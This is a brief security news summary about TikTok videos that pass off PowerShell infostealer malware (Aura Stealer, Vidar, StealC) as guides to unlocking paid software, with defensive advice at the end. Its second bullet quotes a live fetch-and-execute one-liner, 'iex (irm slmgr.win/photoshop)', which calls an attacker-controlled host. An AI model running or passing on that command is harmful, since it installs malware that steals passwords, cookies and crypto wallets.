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TikTok ‘Free Software’ Tutorials Are Spreading PowerShell Malware, Researchers Warn

Short how-to clips coax users to run PowerShell that fetches remote scripts to siphon passwords, cookies, crypto access.

Overview

  • Security researcher Xavier Mertens of the SANS Internet Storm Center flagged viral TikTok videos that pose as guides to unlock paid software but instead deploy information-stealing malware.
  • Creators instruct viewers to copy and run PowerShell one‑liners such as iex (irm slmgr.win/photoshop), which pull and execute code from attacker‑controlled servers.
  • Identified payloads include Aura Stealer, with reports also citing families like Vidar and StealC, capable of extracting credentials, session cookies, and cryptocurrency wallet access while potentially granting system control.
  • Reports note AI‑styled narration and polished production that heighten credibility, with the short‑form format helping the scams rack up thousands of views and reach younger users.
  • Experts advise never executing unknown commands, and if exposed to immediately change all passwords, run a full antivirus scan, enable two‑factor authentication, disconnect from sensitive networks if needed, and report the videos to TikTok; no platform‑wide takedown has been reported.